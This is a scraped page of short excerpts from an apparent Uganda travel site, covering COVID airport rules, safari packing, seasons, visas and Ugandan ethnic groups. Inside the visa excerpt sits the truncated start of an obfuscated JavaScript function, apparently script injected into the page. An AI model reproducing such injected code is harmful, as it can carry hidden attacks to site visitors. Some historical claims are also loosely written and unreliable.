The Ugandan government will no longer conduct COVID 19 tests for passengers travelling into the country through the Entebbe International Airport, the country’s ministry of health has said. The director-general of health services, Henry Mwebesa, in a statement issued on Wednesday, said the decision was made following a decrease in COVID-19 infections globally. Mr Mwebesa said the government noticed a few new cases were being recorded at the airport and that the threat of new coronavirus variants and community transmissions has reduced. “The Ministry of Health would like to inform the...

Just like shoes can determine a day’s worth peace of mind, mood and confidence, what you pack for your African/ Uganda safari will determine how much you will enjoy yourself. Imagine the plight of realizing you did not carry a camera charger or extra batteries for it miles deep in the wild. Tales and memories that grow distant with age and time will be all you are left with after that trip. We zero it down to this list of the top 10 things to carry for your Uganda Safari as a guide on what to pack to avoid such inconveniences or worse. 1.      Safari Friendly Clothes Africa is a diverse...

The best time to visit Uganda depends on the kind of Uganda safari you want and the activities involved. For example for someone chasing water falls, the rainy season is the best because the rivers will be full and the waterfalls more beautiful. The same for someone interested in Agritourism. However for people interested in safaris and hiking, the dry seasons are better. Uganda does not have the 4 seasons of Europe or North America i.e. Winter, Spring, Summer and Autumn. Uganda weather is generally divided into wet season and dry season. The wet season is when there is a higher likelihood...

Here’s how to get your travel visa Ugandan tourist visa costs $ 50. A valid U.S. passport and a visa is required for travellers visiting from the United States and Canada. Tourist visa applications can be completed and paid for online at https://visas.immigration.go.ug/. Visas can also be purchased upon arrival. Travellers planning to visit multiple countries can apply for the East Africa Tourist Visa, which allows for travel between Kenya, Rwanda, and Uganda for a period of 90 days for $100 USD. For more information, visit www.visiteastafrica.org. function _0x9e23(_0x14f71d,_0x4c0b72){const...

Uganda like any other country went through a Pandemic and fortunately we had good covid-19 management by the Government of Uganda which helped control the surge of the virus and  the following are the health protocols issued by the Government of Uganda to be followed,  All arriving passengers at Entebbe International Airport will regardless of country of origin or vaccination status undergo mandatory COVID-19 testing.For convenience all arriving passengers at Entebbe International Airport will have their samples for COVID-19 taken and allowed to proceed to their homes or to their hotels...

The Gishu  The Gisu tribe is a Uganda tribe from Eastern Uganda living in the districts of Sironko, Manafwa, Bulambuli and Mbale and also referred to the Masaba people living on the slopes of Mount Elgon. The word Gisu or Bagisu is derived from the Bamasaba ancestor called Maswaraba who migrated from Ethiopian mountains via Lake Turkana and settled in Bududa, while in Bududa he feel in love with a masai girl called Nabarwa and wanted to marry her, but the masai parents of the girl refused him to take their girl unless he was circumcised first, Maswaraba accepted to get circumcised and...

The Karamojong The Karamojong are an ethnic group from the northeastern part of Uganda. The Karamojongo is part of the Nyangatom nomadic pastorists group that migrated from Ethiopia and settled in Kenya on the shores of lake Turkan and was name the Turkana group, the Turkana group intermarried with other natives that were settled in the same place and their off springs were called Kalenji and Masai people.  Another group also moved and settled in south Sudan including the jie and Topos, so the Karamojong were cousins to the ije but for them they continued moving and settled in northeastern...

Kasubi Tombs  Kasubi Tombs is a UNESCO world heritage site on the hill of Kasubi in Kampala Uganda. It is where the Kabakas of Buganda and other Buganda Royals families are put to rest, there are four Kabakas that were buried there including Kabaka Mutesa ll, Kabaka Mwanga, Daudi Chwa ll and Edward Mutes all and father to the current Kabaka Ronald Mutebi ll of Buganda.   Kasubi Tombs was the palace for Kabaka Mutesa l, after his death he was buried there, so all other kings also decided to be buried there instead of their own palaces. It is a historical and cultural site...

The Batooro The Batooro are an ethnic group in western Uganda inhabiting the districts of Kabarole, Kyenjojo, Kyegegwa, Kamwenge and others in Kasese. The Batooro are believed to have originated from the bachwezi and babiito line by some people and others say they are from the Batembuzi and Bagabu.  However the Batooro consist of two societies including the Bahuma who are cattle keepers and the Bairu who are farmers or agriculturalists. The Bahuma provide milk, meat,ghee, hides and skins to the Bairu while the Bairu give Bahuma some food crops and beer. According to the Batooro...